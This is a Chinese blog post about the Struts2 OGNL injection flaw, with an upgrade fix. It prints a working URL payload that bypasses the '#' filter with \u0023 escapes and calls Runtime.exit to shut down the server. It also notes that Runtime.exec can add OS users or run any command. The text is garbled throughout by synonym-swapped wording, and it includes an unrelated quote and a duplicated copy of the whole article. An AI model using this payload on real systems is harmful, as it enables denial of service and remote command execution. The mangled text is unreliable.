struts2漏洞道理及解决办法
添加时间:2013-7-9 点击量:
-
1、道理
Struts2的核心是应用的webwork框架,处理惩罚 action时经由过程调用底层的getter/setter办法来处理惩罚http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。提交一个http参数:
?user.address.city=Bishkek&user[favoriteDrink]=kumys
ONGL将它转换为:
action.getUser().getAddress().setCity(Bishkek)
action.getUser().setFavoriteDrink(kumys)
这是经由过程ParametersInterceptor(参数过滤器)来履行的,应用用户供给的HTTP参数调用 ValueStack.setValue()。 www.2cto.com
为了防备批改办事器端对象,XWork的ParametersInterceptor不容许参数名中呈现“#”字符,但若是应用了Java的 unicode字符串默示\u0023,进击者就可以绕过保护,批改保护Java体式格式履行的值:
此处代码有破损性,请在测试景象履行,严禁用此种办法进行恶意进击
?(\u0023_memberAccess[\allowStaticMethodAccess\])(meh)=true&(aaa)((\u0023context[\xwork.MethodAccessor.denyMethodution\]\u003d\u0023foo)(\u0023foo\u003dnew%20java.lang.Boolean(false)))&(asdf)((\u0023rt.exit(1))(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是如许:
?(#_memberAccess[allowStaticMethodAccess])(meh)=true&(aaa)((#context[xwork.MethodAccessor.denyMethodution]=#foo)(#foo=new%20java.lang.Boolean(false)))&(asdf)((#rt.exit(1))(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理惩罚时终极的成果就是
java.lang.Runtime.getRuntime().exit(1); //封闭法度,即将web法度封闭
类似的可以履行
java.lang.Runtime.getRuntime().exec( 用户名 暗码 /add);//增长操纵体系用户,在有权限的景象下能成功(在URL顶用%20调换空格,%2F调换/)
只要有权限就可以履行任何DOS号令。
2、解决办法
网上很多文章都介绍了三种解决办法,小我感觉将struts2的jar包更新到新版本最简单,不消更改任何法度代码,今朝新版本2.3.4
到的更新包中有很多jar包,我体系中首要用到以下几个调换掉旧版本的:
commons-lang3-3.1.jar (保存commons-lang-2.6.jar)
javassist-3.11.0.GA.jar (新加包)
ognl-3.0.5.jar (调换旧版本)
struts2-core-2.3.4.1.jar (调换旧版本)
xwork-core-2.3.4.1.jar (调换旧版本)
无论对感情还是对生活,“只要甜不要苦”都是任性而孩子气的,因为我们也不完美,我们也会伤害人。正因为我们都不完美,也因为生活从不是事事如意,所以对这些“瑕疵”的收纳才让我们对生活、对他人的爱变得日益真实而具体。—— 汪冰《世界再亏欠你,也要敢于拥抱幸福》
-
1、道理
Struts2的核心是应用的webwork框架,处理惩罚 action时经由过程调用底层的getter/setter办法来处理惩罚http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。提交一个http参数:
?user.address.city=Bishkek&user[favoriteDrink]=kumys
ONGL将它转换为:
action.getUser().getAddress().setCity(Bishkek)
action.getUser().setFavoriteDrink(kumys)这是经由过程ParametersInterceptor(参数过滤器)来履行的,应用用户供给的HTTP参数调用 ValueStack.setValue()。 www.2cto.com
为了防备批改办事器端对象,XWork的ParametersInterceptor不容许参数名中呈现“#”字符,但若是应用了Java的 unicode字符串默示\u0023,进击者就可以绕过保护,批改保护Java体式格式履行的值:
此处代码有破损性,请在测试景象履行,严禁用此种办法进行恶意进击
?(\u0023_memberAccess[\allowStaticMethodAccess\])(meh)=true&(aaa)((\u0023context[\xwork.MethodAccessor.denyMethodution\]\u003d\u0023foo)(\u0023foo\u003dnew%20java.lang.Boolean(false)))&(asdf)((\u0023rt.exit(1))(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是如许:?(#_memberAccess[allowStaticMethodAccess])(meh)=true&(aaa)((#context[xwork.MethodAccessor.denyMethodution]=#foo)(#foo=new%20java.lang.Boolean(false)))&(asdf)((#rt.exit(1))(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理惩罚时终极的成果就是java.lang.Runtime.getRuntime().exit(1); //封闭法度,即将web法度封闭
类似的可以履行
java.lang.Runtime.getRuntime().exec( 用户名 暗码 /add);//增长操纵体系用户,在有权限的景象下能成功(在URL顶用%20调换空格,%2F调换/)
只要有权限就可以履行任何DOS号令。2、解决办法
网上很多文章都介绍了三种解决办法,小我感觉将struts2的jar包更新到新版本最简单,不消更改任何法度代码,今朝新版本2.3.4
到的更新包中有很多jar包,我体系中首要用到以下几个调换掉旧版本的:
commons-lang3-3.1.jar (保存commons-lang-2.6.jar)
javassist-3.11.0.GA.jar (新加包)
ognl-3.0.5.jar (调换旧版本)
struts2-core-2.3.4.1.jar (调换旧版本)
xwork-core-2.3.4.1.jar (调换旧版本)